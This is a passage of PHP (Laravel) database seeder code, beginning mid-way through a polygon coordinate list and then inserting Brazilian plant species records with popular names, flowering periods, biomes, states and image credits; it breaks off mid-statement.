1.9467299699999998 117.83710007999998,1.9468500299999998 117.83819987999999,1.94816997 117.83990015999998,1.9490900399999997 117.84049991999998,1.95046002 117.84089988,1.95138 117.84099995999999,1.95292998 117.84179988,1.9539099899999999 117.84260015999999,1.9543699799999998 117.84340008,1.9548299699999998 117.84620016,1.95477003 117.84750011999999,1.9548299699999998 117.84890015999999,1.95523002 117.85039991999999,1.9560400199999999 117.85229999999999,1.95684003 117.85380011999999,1.95787998 117.85569983999999,1.95879996 117.85719995999999,1.96115004 117.85960007999999,1.9634399999999999 117.86029991999999,1.9629899999999998 117.86489999999999,1.96018002 117.86270004,1.9573100099999998 117.86069987999998,1.9550099699999999 117.85830012,1.9543200299999999 117.85690007999999,1.9539199799999998 117.85539995999999,1.9536900299999997 117.85370003999999,1.9533999599999998 117.85200011999999,1.9531099799999998 117.85029983999999,1.9529399699999999 117.84750011999999,1.9525300199999998 117.84620016,1.95173001 117.84499991999999,1.9504700099999999 117.84380003999999,1.9492599599999998 117.84300011999999,1.94805999 117.84219983999999,1.9466800199999998 117.84139991999999,1.94576004 117.84080015999999,1.9453599899999998 117.84009995999999,1.94524002 117.83890007999999,1.9455900299999997 117.83810016,1.94598999 117.83750004,1.9467299699999998 117.83710007999998),(2.00619999 117.77919983999999,2.0063500199999997 117.77810004,2.0068100099999997 117.77739983999999,2.00692998 117.77659992,2.00687004 117.77550011999999,2.0067000299999997 117.77410008,2.0065799699999998 117.77320008,2.00640996 117.77180003999999,2.00664 117.77029991999999,2.0070399599999997 117.76920012,2.00766996 117.76730004,2.00853999 117.76550003999999,2.00951001 117.76309991999999,2.01078 117.76089995999999,2.0123299799999996 117.75840011999999,2.01404997 117.75629987999999,2.01618 117.75369995999999,2.01762 117.75189995999999,2.0191100399999997 117.75020004,2.0211200099999997 117.74710008,2.02256001 117.74530007999999,2.02400001 117.74390003999999,2.02543002 117.74289995999999,2.02722003 117.74229983999999,2.0283100199999997 117.74180016,2.02933998 117.74120004,2.03118003 117.74090016,2.0334200399999998 117.74059992,2.03486004 117.74030004,2.03607 117.73979999999999,2.03704002 117.73910015999999,2.03768001 117.73839996,2.03831001 117.73739988,2.03831001 117.7362,2.0380799699999996 117.73500012,2.03768001 117.73389995999999,2.0371599899999997 117.73280016,2.03549004 117.73100016,2.0338299899999996 117.72939996,2.03203998 117.72830015999999,2.0304299699999997 117.72749988,2.02824999 117.72640007999999,2.02646997 117.72529992,2.0246300099999996 117.72410004,2.02319001 117.72309995999998,2.02152996 117.72169991999999,2.02042998 117.72010008,2.01945996 117.71790012,2.0191100399999997 117.71690003999998,2.01894003 117.71579987999999,2.01905001 117.71470007999999,2.01945996 117.71309987999999,2.0200300199999996 117.71179991999999,2.0207199599999996 117.71049995999999,2.0221599599999998 117.70880003999999,2.02319001 117.70750007999999,2.0248599599999997 117.70589987999999,2.0260700099999998 117.70490016,2.02755996 117.70390008,2.02940001 117.70269984,2.03112 117.70160003999999,2.0338800299999997 117.70030007999999,2.0376199799999997 117.69839999999999,2.03985999 117.69729983999999,2.04249996 117.69599987999999,2.04410997 117.69540011999999,2.0457800099999996 117.69440003999999,2.0482499699999996 117.693,2.04963003 117.69149988,2.05044003 117.69069995999999,2.05129998 117.69000012,2.05308 117.68889995999999,2.0550300299999997 117.68829983999998,2.0567600099999996 117.68789987999999,2.0583099899999997 117.68739984,2.05981002 117.68680008,2.06107002 117.68600015999999,2.06251002 117.68510015999999,2.0642300099999997 117.68330015999999,2.06486001 117.68259995999999,2.06532 117.68159988,2.06521002 117.68090004,2.06497998 117.67989995999999,2.0645800199999997 117.67910004,2.0638299599999996 117.67809996,2.06279001 117.67740011999999,2.06175996 117.67709987999999,2.06049996 117.67679999999999,2.0591700299999998 117.67640003999999,2.0582000099999997 117.67619987999998,2.0567600099999996 117.67550003999999,2.05532001 117.67449995999999,2.05308 117.67280003999998,2.0512400399999997 117.67150007999999,2.05026003 117.67029983999998,2.04922998 117.66909996,2.04831 117.66750011999999,2.04728004 117.66579983999999,2.04647004 117.6642,2.04549003 117.66219983999999,2.0450899799999998 117.66030011999999,2.04491997 117.65900015999999,2.0450899799999998 117.65720015999999,2.04525999 117.65599991999999,2.04584004 117.65450016,2.04652998 117.65270016,2.0468199599999997 117.65080008,2.04669999 117.64950011999998,2.0463599699999997 117.64789991999999,2.04584004 117.64659995999999,2.0450899799999998 117.64569995999999,2.0439999899999997 117.64490004,2.04204996 117.64419983999998,2.04284997 117.64389995999998,2.04347997 117.64280016,2.04382998 117.64159991999999,2.04417 117.64079999999998,2.04456996 117.64029996,2.04571998 117.63920015999999,2.04652998 117.63830015999999,2.04728004 117.63759995999999,2.04785001 117.63709992,2.04888996 117.63640007999999,2.05044003 117.63650016,2.05136001 117.63650016,2.05255998 117.63609983999999,2.0536000199999997 117.63579995999999,2.05475004 117.63529992,2.05613001 117.63410003999999,2.05693002 117.63290015999999,2.05767999 117.63169991999999,2.05837002 117.63079991999999,2.05974999 117.62939988,2.0604400199999997 117.62870004,2.06096004 117.62840016,2.06003997 117.63020015999999,2.0595200399999998 117.63129995999999,2.05848 117.63299987999999,2.05774002 117.63420011999999,2.0569899599999997 117.63519983999998,2.05589997 117.63619992,2.05504002 117.63650016,2.0537099999999997 117.63699983999999,2.05255998 117.63709992,2.0517000299999997 117.63730007999999,2.05066998 117.63740015999998,2.04985998 117.63770003999998,2.04894 117.63860003999999,2.0475600299999996 117.63929988,2.04676002 117.64010015999999,2.04617997 117.64090008,2.04584004 117.64180008,2.0460099599999997 117.64239984,2.04676002 117.64379987999999,2.04739002 117.64479995999999,2.04831 117.64540007999999,2.0503799999999996 117.64609992,2.05209999 117.6462,2.05343001 117.64649988,2.0541699899999997 117.64699991999998,2.05521003 117.64770012,2.05596 117.64850003999999,2.0567600099999996 117.64900008,2.05745004 117.64919988,2.05824996 117.64900008,2.0588900399999996 117.64789991999999,2.0588900399999996 117.64649988,2.0586599999999997 117.64479995999999,2.05859997 117.64339992,2.0586599999999997 117.64209996,2.05893999 117.64069991999999,2.05974999 117.63910007999999,2.06073 117.6381,2.06188002 117.63749988,2.06353998 117.63669995999999,2.0648099699999998 117.63640007999999,2.0663600399999997 117.63609983999999,2.0677400099999996 117.63579995999999,2.06894997 117.63579995999999,2.07054999 117.63569987999999,2.07176004 117.63539999999999,2.0736600299999997 117.63470016,2.07497997 117.63359999999999,2.0765300399999997 117.63219996,2.0785400099999998 117.63039995999999,2.0802699899999997 117.62880012,2.0815900199999997 117.62719992,2.08296999 117.62560008,2.0842900199999996 117.62399987999999,2.08612998 117.62169983999999,2.08802997 117.61970004,2.08963998 117.61850016,2.0913599699999996 117.61760016,2.09331999 117.61689996,2.0951499599999996 117.61649999999999,2.09675997 117.61589987999999,2.09790999 117.61509996,2.0989500299999997 117.61400015999999,2.10004002 117.61329995999999,2.10130002 117.61239995999999,2.10159 117.61229988,2.1030900299999997 117.61149995999999,2.10411999 117.61080012,2.1052099799999997 117.60980004,2.1057900299999996 117.60919992,2.10618999 117.60819984,2.1064200299999998 117.60749999999999,2.10671001 117.60680015999999,2.10751002 117.60760008,2.10871998 117.60879995999998,2.1100400099999996 117.60980004,2.11131 117.61120007999999,2.11233996 117.61260012,2.11296996 117.61419996,2.11377996 117.61599996,2.11452003 117.61750007999999,2.11533003 117.61890011999999,2.1159 117.6201,2.11647996 117.621,2.11727997 117.62169983999999,2.1180899699999998 117.62200007999999,2.11895001 117.62169983999999,2.1197500199999997 117.621,2.12061996 117.61999992,2.12182002 117.61930007999999,2.12274 117.61899983999999,2.1237800399999998 117.61869995999999,2.1242400299999997 117.61859987999999,2.12441004 117.61869995999999,2.1242400299999997 117.61919999999999,2.1231500399999996 117.61980012,2.12187996 117.62060003999999,2.12090004 117.62179991999999,2.12015997 117.6228,2.11969998 117.62399987999999,2.1196400399999997 117.62529984,2.11969998 117.62709983999999,2.1195199799999997 117.62849987999999,2.1192399899999996 117.6291,2.11825998 117.63010007999999,2.11727997 117.63079991999999,2.1163100399999997 117.63140003999999,2.11544001 117.63140003999999,2.11452003 117.63140003999999,2.11309002 117.63150012,2.11176 117.63140003999999,2.11073004 117.63079991999999,2.10951999 117.63,2.10814002 117.62949995999999,2.10671001 117.62939988,2.1052099799999997 117.62920007999999,2.10394998 117.62899992,2.10267999 117.62840016,2.10194001 117.62759987999999,2.1015299699999996 117.62660016,2.10148002 117.62510003999999,2.10130002 117.62399987999999,2.1005000099999998 117.62240003999999,2.0996900099999998 117.62139995999999,2.09832003 117.62060003999999,2.0968199999999997 117.62030015999999,2.09383002 117.6201,2.0921100299999997 117.62039988,2.09026998 117.62129988,2.08860003 117.62250012,2.08688004 117.62420003999999,2.0853299699999996 117.62560008,2.08400004 117.62729999999999,2.08268001 117.6291,2.08107 117.63069983999999,2.07998001 117.63169991999999,2.07819999 117.63299987999999,2.07693 117.63399996,2.0761299899999996 117.63470016,2.07549999 117.63539999999999,2.07514998 117.63619992,2.07538002 117.63690011999999,2.07619002 117.63820007999999,2.07704997 117.63920015999999,2.0782600199999997 117.64019988,2.07928998 117.64109987999998,2.0822799599999997 117.64370016,2.08377 117.64529999999999,2.08468998 117.64670003999998,2.0856099599999998 117.64839995999999,2.0861900099999997 117.64990008,2.08692999 117.65170008,2.0873899799999998 117.65379995999999,2.0875100399999997 117.65620007999999,2.08734003 117.65800008,2.0866499999999997 117.65980008,2.0857300199999997 117.66120011999999,2.0848699799999997 117.66269987999999,2.08422999 117.66399983999999,2.0835999899999997 117.66530015999999,2.08285002 117.66809987999999,2.08244997 117.66989987999999,2.08188 117.67150007999999,2.08118997 117.67340015999999,2.08050003 117.675,2.07974997 117.67629996,2.07882999 117.67769999999999,2.07738999 117.67979987999999,2.0763 117.68119992,2.07555003 117.68209991999998,2.07458001 117.68349995999999,2.0738899799999997 117.68450003999999,2.0729699999999998 117.68559984,2.07198999 117.68640011999999,2.07066996 117.68699987999999,2.0693999699999996 117.68739984,2.0683700099999998 117.68789987999999,2.06619003 117.68889995999999,2.06388999 117.69000012,2.0618700299999997 117.6912,2.0600900099999997 117.69199991999999,2.0582000099999997 117.69260003999999,2.05635996 117.69320015999999,2.05445997 117.69369984,2.0527900199999998 117.69450011999999,2.0512400399999997 117.69540011999999,2.0503799999999996 117.69630011999999,2.0499200099999997 117.69699995999999,2.0496899699999998 117.69800004,2.04963003 117.69839999999999,2.04858999 117.6993,2.0468300399999997 117.70040015999999,2.04476004 117.70250003999999,2.04336999 117.70430003999999,2.04245001 117.70419996,2.0418699599999997 117.70459991999999,2.04090003 117.70520004,2.03979996 117.70620011999999,2.03859999 117.70729992,2.0371599899999997 117.70859988,2.03641002 117.70930007999999,2.03520996 117.71020007999999,2.0341099799999998 117.71089991999999,2.03267997 117.71169984,2.03106996 117.71219987999999,2.02992003 117.71250011999999,2.02865004 117.71290008,2.02768002 117.71330004,2.0270400299999998 117.71359992,2.0266399799999997 117.71409995999998,2.0265299999999997 117.71480016,2.0269899899999997 117.71589995999999,2.02802004 117.71669988,2.0295099899999998 117.71759988,2.03227002 117.71930015999999,2.03428998 117.72029987999998,2.03617998 117.72129996,2.03814 117.72249984,2.0399799599999997 117.72370007999999,2.04147 117.72489995999999,2.0426200199999998 117.72609983999999,2.04314004 117.72690012,2.04406002 117.72870011999998,2.04462999 117.73059984,2.04491997 117.73230011999999,2.0450899799999998 117.73400004,2.04525999 117.73550015999999,2.0448600299999997 117.73670003999999,2.04417 117.73799999999999,2.04325002 117.73959984,2.04245001 117.74120004,2.04135003 117.74270016,2.04014997 117.74469995999999,2.03887998 117.74630015999999,2.03756004 117.74760011999999,2.0362400099999998 117.74859984,2.0348000099999997 117.74949983999998,2.0334200399999998 117.74999987999999,2.02859001 117.75200003999998,2.02687002 117.75300012,2.02491999 117.75430008,2.02308003 117.75560003999999,2.0211200099999997 117.75700008,2.01927996 117.75880007999999,2.01704004 117.7614,2.01572001 117.76399991999999,2.01502998 117.76579991999999,2.0144600099999996 117.76769999999999,2.01411 117.7695,2.01393999 117.7713,2.01411 117.77339987999999,2.01428001 117.77500008,2.01439998 117.77600016,2.01456999 117.77739983999999,2.0145400199999997 117.77950007999999,2.0131900199999997 117.77900003999999,2.01193002 117.77879988,2.0108300399999997 117.77879988,2.00990997 117.77879988,2.00888001 117.77879988,2.0079 117.77870015999999,2.00619999 117.77919983999999)))')\"),\n 'status' => 'a'\n ]);\n\n\n }", "public function run(){\n //ACURI\n //https://ferramentas.sibbr.gov.br/ficha/bin/view/especie/attalea_phalerata\n //http://servicos.jbrj.gov.br/flora/search/attalea_phalerata\n //http://reflora.jbrj.gov.br/reflora/listaBrasil/FichaPublicaTaxonUC/FichaPublicaTaxonUC.do?id=FB15684\n //https://www.webambiente.gov.br/\n $planta = Planta::create(\n [\n 'nome_popular' => 'acuri,aricuri,bacuri,uricuri,uricurí-vermelho',\n 'autoria' => 'Mart. ex Spreng.',\n 'nome_cientifico' => 'Attalea phalerata',\n 'e_panc' => 1,\n 'ep_floracao_inicio' => 'ago',\n 'ep_floracao_fim' => 'set',\n 'grau_ameaca_iucn' => 'lc',\n 'descricao' => 'Attalea phalerata Mart. ex Spreng, conhecido popularmente como acuri, urucuri, ouricuri, aricuri, alicuri, aricuí, iricuri, uricuri, licuri, urucuriiba, licurizeiro e nicuri, é uma palmeira que atinge mais de trinta metros de altura. É encontrada no Brasil, Bolívia, Paraguai e Peru.',\n ]\n );\n $planta->biomas()->attach(Bioma::whereIn('cod', ['pampa', 'pantanal', 'cerrado'])->get('id')->pluck('id')->toArray());\n $planta->dist_geografica()->attach(Estado::whereIn('sigla', ['AC', 'DF', 'GO', 'MG', 'MS', 'MT', 'PA', 'RO', 'SP', 'TO'])->get('id')->pluck('id')->toArray());\n Imagem::create(['url' => 'https://uploaddeimagens.com.br/images/002/295/780/full/imagem01.jpg', 'autor' => 'Renata C. Martins', 'fonte' => 'Sistema de Informação sobre a Biodiversidade Brasileira (SiBBr)', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://uploaddeimagens.com.br/images/002/295/811/full/imagem02.jpg', 'autor' => 'Renata C. Martins', 'fonte' => 'Sistema de Informação sobre a Biodiversidade Brasileira (SiBBr)', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://uploaddeimagens.com.br/images/002/295/815/full/imagem03.jpg', 'autor' => 'Renata C. Martins', 'fonte' => 'Sistema de Informação sobre a Biodiversidade Brasileira (SiBBr)', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://uploaddeimagens.com.br/images/002/295/817/full/imagem04.jpg', 'autor' => 'Renata C. Martins', 'fonte' => 'Sistema de Informação sobre a Biodiversidade Brasileira (SiBBr)', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://uploaddeimagens.com.br/images/002/295/819/full/imagem05.jpg', 'autor' => 'Renata C. Martins', 'fonte' => 'Sistema de Informação sobre a Biodiversidade Brasileira (SiBBr)', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://uploaddeimagens.com.br/images/002/295/821/full/imagem06.jpg', 'autor' => 'Renata C. Martins', 'fonte' => 'Sistema de Informação sobre a Biodiversidade Brasileira (SiBBr)', 'planta_id' => $planta->id]);\n\n\n //BOCAIUVA\n //https://ferramentas.sibbr.gov.br/ficha/bin/view/especie/acrocomia_aculeata\n //http://servicos.jbrj.gov.br/flora/search/acrocomia_aculeata\n //http://reflora.jbrj.gov.br/reflora/listaBrasil/FichaPublicaTaxonUC/FichaPublicaTaxonUC.do?id=FB15663\n //https://www.webambiente.gov.br/\n $planta = Planta::create(\n [\n 'nome_popular' => 'bocaiuva,macaúba,coco-babão,coco-babosa,coco-macaúba,coqueiro-de-espinho,macajuba,macaibeira,palmeira-macaúva,coquinho',\n 'autoria' => 'Mart. ex Spreng.',\n 'nome_cientifico' => 'Acrocomia aculeata',\n 'e_panc' => 0,\n 'ep_floracao_inicio' => 'out',\n 'ep_floracao_fim' => 'fev',\n 'grau_ameaca_iucn' => 'ne',\n 'descricao' => '',\n ]\n );\n $planta->biomas()->attach(Bioma::whereIn('cod', ['amozonia', 'cerrado', 'pantanal', 'cerrado'])->get('id')->pluck('id')->toArray());\n $planta->dist_geografica()->attach(Estado::whereIn('sigla', ['AM',' CE', 'DF', 'GO', 'MA', 'MG', 'MS', 'MT', 'PA', 'PI', 'PE', 'PR', 'RJ', 'RR', 'SP', 'TO'])->get('id')->pluck('id')->toArray());\n Imagem::create(['url' => 'https://i.ibb.co/THfGKf0/01-acrocomia-aculeata-individuo.jpg', 'autor' => 'Iria Ishii', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/R2RqdVL/02-acrocomia-aculeata-tronco.jpg', 'autor' => 'Roberto Ogata', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/MBxVt4g/03-acrocomia-aculeata-muda.jpg', 'autor' => 'Bruno Nonato', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/sVJBdXY/04-acrocomia-aculeata-flor.jpg', 'autor' => 'Roberto Ogata', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/R07WG7Y/05-acrocomia-aculeata-fruto.jpg', 'autor' => 'Roberto Ogata', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/6Yrzn2V/06-acrocomia-aculeata-semente.jpg', 'autor' => 'Bruno Nonato', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n\n\n //ANGICO\n //https://ferramentas.sibbr.gov.br/ficha/bin/view/especie/albizia_niopoides\n //http://servicos.jbrj.gov.br/flora/search/albizia_niopoides\n //http://reflora.jbrj.gov.br/reflora/listaBrasil/FichaPublicaTaxonUC/FichaPublicaTaxonUC.do?id=FB82616\n //https://www.webambiente.gov.br/\n $planta = Planta::create(\n [\n 'nome_popular' => 'angico-branco,farinha-seca,mulateira,frango-assado,canela-de-corvo,coxa-de-frango,farinha-seca-de-mico,manga-do-mato,pé-de-frango',\n 'autoria' => '(Spruce ex Benth.) Burkart.',\n 'nome_cientifico' => 'Albizia niopoides',\n 'e_panc' => 0,\n 'ep_floracao_inicio' => 'out',\n 'ep_floracao_fim' => 'jan',\n 'grau_ameaca_iucn' => 'lc',\n 'descricao' => '',\n ]\n );\n $planta->biomas()->attach(Bioma::whereIn('cod', ['cerrado', 'pantanal', 'cerrado'])->get('id')->pluck('id')->toArray());\n $planta->dist_geografica()->attach(Estado::whereIn('sigla', ['AM', 'BA', 'ES', 'GO', 'MA', 'MG', 'MS', 'MT', 'PA', 'PE', 'PR', 'RS', 'SC', 'SP'])->get('id')->pluck('id')->toArray());\n Imagem::create(['url' => 'https://i.ibb.co/vPkc2L3/muda.jpg', 'autor' => 'Bruno Nonato', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/TvZ2r1N/fruto.jpg', 'autor' => 'Bruno Nonato', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/k3XCNtc/img1.jpg', 'autor' => 'Bruno Nonato', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/NscRKvh/img2.jpg', 'autor' => 'Bruno Nonato', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/YcLqMQ7/plantula.jpg', 'autor' => 'Bruno Nonato', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n\n\n //AROEIRA\n //https://ferramentas.sibbr.gov.br/ficha/bin/view/especie/myracrodruon_urundeuva\n //http://servicos.jbrj.gov.br/flora/search/myracrodruon_urundeuva\n //http://reflora.jbrj.gov.br/reflora/listaBrasil/FichaPublicaTaxonUC/FichaPublicaTaxonUC.do?id=FB4394\n //https://www.webambiente.gov.br/\n $planta = Planta::create(\n [\n 'nome_popular' => 'aroeira,urundeúva,aroeira-do-sertão,aroeira-do-campo,aroeira-da-serra,urindeúva,arindeúva, arendiúva,aroeira-preta',\n 'autoria' => 'Allemão.',\n 'nome_cientifico' => 'Myracrodruon urundeuva',\n 'e_panc' => 0,\n 'ep_floracao_inicio' => 'ago',\n 'ep_floracao_fim' => 'set',\n 'grau_ameaca_iucn' => 'lc',\n 'descricao' => '',\n ]\n );\n $planta->biomas()->attach(Bioma::whereIn('cod', ['caatinga', 'mata_atlantica', 'pantanal', 'cerrado'])->get('id')->pluck('id')->toArray());\n $planta->dist_geografica()->attach(Estado::whereIn('sigla', ['AC', 'DF', 'GO', 'MG', 'MS', 'MT', 'PA', 'RO', 'SP', 'TO'])->get('id')->pluck('id')->toArray());\n Imagem::create(['url' => 'https://i.ibb.co/jrZcvg6/individuo.jpg', 'autor' => 'Bruno Nonato', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/BV6BC2N/fruto.jpg', 'autor' => 'Bruno Nonato', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/RQNTCLC/tronco.jpg', 'autor' => 'Bruno Nonato', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/YDzjDKh/muda.jpg', 'autor' => 'Bruno Nonato', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/F5F8C7p/semente.jpg', 'autor' => 'Bruno Nonato', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/zNY8L2R/flor.jpg', 'autor' => 'Bruno Nonato', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n\n\n //CARANDA\n //https://ferramentas.sibbr.gov.br/ficha/bin/view/especie/copernicia_alba\n //http://servicos.jbrj.gov.br/flora/search/copernicia_alba\n //http://reflora.jbrj.gov.br/reflora/listaBrasil/FichaPublicaTaxonUC/FichaPublicaTaxonUC.do?id=FB34032\n //https://www.webambiente.gov.br/\n $planta = Planta::create(\n [\n 'nome_popular' => 'carandá,carandeiro,carandaí',\n 'autoria' => 'Morong ex Morong & Britton.',\n 'nome_cientifico' => 'Copernicia alba',\n 'e_panc' => 0,\n 'ep_floracao_inicio' => 'jul',\n 'ep_floracao_fim' => 'dez',\n 'grau_ameaca_iucn' => 'ne',\n 'descricao' => '',\n ]\n );\n $planta->biomas()->attach(Bioma::whereIn('cod', [ 'pantanal'])->get('id')->pluck('id')->toArray());\n $planta->dist_geografica()->attach(Estado::whereIn('sigla',['MS','MT'])->get('id')->pluck('id')->toArray());\n Imagem::create(['url' => 'https://i.ibb.co/RhbGyQF/muda.jpg', 'autor' => 'Catia Urbanetz', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/JK7RXzs/fruto.jpg', 'autor' => 'Catia Urbanetz', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/8NBBKw5/folha.jpg', 'autor' => 'Catia Urbanetz', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/0F1SYpV/semente.jpg', 'autor' => 'Catia Urbanetz', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/Bfcnn0m/individuo.jpg', 'autor' => 'Catia Urbanetz', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n\n\n //CAJUZINHO\n //https://ferramentas.sibbr.gov.br/ficha/bin/view/especie/anacardium_humile\n //http://servicos.jbrj.gov.br/flora/search/anacardium_humile\n //http://reflora.jbrj.gov.br/reflora/listaBrasil/FichaPublicaTaxonUC/FichaPublicaTaxonUC.do?id=FB15463\n //https://www.webambiente.gov.br/\n $planta = Planta::create(\n [\n 'nome_popular' => 'cajuzinho,caju,caju-do-cerrado,cajuzinho-do-campo,cajuí',\n 'autoria' => 'A.St.-Hil.',\n 'nome_cientifico' => 'Anacardium humile',\n 'e_panc' => 0,\n 'ep_floracao_inicio' => 'ago',\n 'ep_floracao_fim' => 'nov',\n 'grau_ameaca_iucn' => 'lc',\n 'descricao' => '',\n ]\n );\n $planta->biomas()->attach(Bioma::whereIn('cod',['cerrado','pantanal'])->get('id')->pluck('id')->toArray());\n $planta->dist_geografica()->attach(Estado::whereIn('sigla', ['BA', 'DF', 'GO', 'MG', 'MS', 'MT', 'PR', 'RO', 'SP', 'TO'])->get('id')->pluck('id')->toArray());\n Imagem::create(['url' => 'https://i.ibb.co/N133LJT/folha.jpg', 'autor' => 'Iria Ishii', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/YLhp4Fz/muda.jpg', 'autor' => 'Bruno Nonato', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/YtKpM31/fruto.jpg', 'autor' => 'Bruno Nonato', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/n1RBjfy/tronco.jpg', 'autor' => 'Bruno Nonato', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/JqxGLQV/semente.jpg', 'autor' => 'Marcelo Kuhlmann', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/7Jjh4nT/flor.jpg', 'autor' => 'Bruno Nonato', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n\n\n //PASSARINHO\n //https://ferramentas.sibbr.gov.br/ficha/bin/view/especie/pterogyne_nitens\n //http://servicos.jbrj.gov.br/flora/search/pterogyne_nitens\n //http://reflora.jbrj.gov.br/reflora/listaBrasil/FichaPublicaTaxonUC/FichaPublicaTaxonUC.do?id=FB28161\n //https://www.webambiente.gov.br/\n $planta = Planta::create(\n [\n 'nome_popular' => 'pau-amendoim,amendoim-bravo,amendoim,madeira-nova,viraró,pau-de-fava,óleo-branco,madeira-nova,carne-de-vaca,bálsamo,bassourinha,sucupira,vilão,bálsamo,bálsamo-do-pantanal,bálsamo-bravo,passarinho',\n 'autoria' => 'Tul',\n 'nome_cientifico' => 'Pterogyne nitens',\n 'e_panc' => 0,\n 'ep_floracao_inicio' => 'fev',\n 'ep_floracao_fim' => 'ago',\n 'grau_ameaca_iucn' => 'lc',\n 'descricao' => '',\n ]\n );\n $planta->biomas()->attach(Bioma::whereIn('cod', ['mata_atlantica', 'pantanal', 'cerrado'])->get('id')->pluck('id')->toArray());\n $planta->dist_geografica()->attach(Estado::whereIn('sigla', ['AL', 'AM', 'BA', 'CE', 'ES', 'MA', 'MG', 'MS', 'MT', 'PB', 'PR', 'RJ', 'RN', 'SP'])->get('id')->pluck('id')->toArray());\n Imagem::create(['url' => 'https://i.ibb.co/5hzG6N9/individuo.jpg', 'autor' => 'Agroicone-ISA-TNC-Baobá', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/gjzBndg/fruto.jpg', 'autor' => 'Agroicone-ISA-TNC-Baobá', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/yyNBJSb/tronco.jpg', 'autor' => 'Agroicone-ISA-TNC-Baobá', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n\n\n //IPE-VERDE\n //https://ferramentas.sibbr.gov.br/ficha/bin/view/especie/cybistax_antisyphilitica\n //http://servicos.jbrj.gov.br/flora/search/cybistax_antisyphilitica\n //http://reflora.jbrj.gov.br/reflora/listaBrasil/FichaPublicaTaxonUC/FichaPublicaTaxonUC.do?id=FB114028\n //https://www.webambiente.gov.br/\n $planta = Planta::create(\n [\n 'nome_popular' => 'ipê-verde,caroba-de-flor-verde',\n 'autoria' => '(Mart) Mart',\n 'nome_cientifico' => 'Cybistax antisyphilitica',\n 'e_panc' => 0,\n 'ep_floracao_inicio' => 'ago',\n 'ep_floracao_fim' => 'mar',\n 'grau_ameaca_iucn' => 'ne',\n 'descricao' => '',\n ]\n );\n $planta->biomas()->attach(Bioma::whereIn('cod', ['mata_atlantica', 'pantanal', 'cerrado'])->get('id')->pluck('id')->toArray());\n $planta->dist_geografica()->attach(Estado::whereIn('sigla', ['BA', 'CE', 'DF', 'ES', 'GO', 'MA', 'MG', 'MS', 'MT', 'PA', 'PI', 'PR', 'RJ', 'RS', 'SC', 'SP', 'TO'])->get('id')->pluck('id')->toArray());\n Imagem::create(['url' => 'https://i.ibb.co/Bf9DnBh/fruto.jpg', 'autor' => 'Bruno Nonato', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/VwkZBH3/tronco.jpg', 'autor' => 'Bruno Nonato', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/4mfMCvw/semente.jpg', 'autor' => 'Bruno Nonato', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/cXXTz6P/plantula.jpg', 'autor' => 'Bruno Nonato', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 'https://i.ibb.co/W23KXSj/flor.jpg', 'autor' => 'Bruno Nonato', 'fonte' => 'Web Ambiente', 'planta_id' => $planta->id]);\n Imagem::create(['url' => 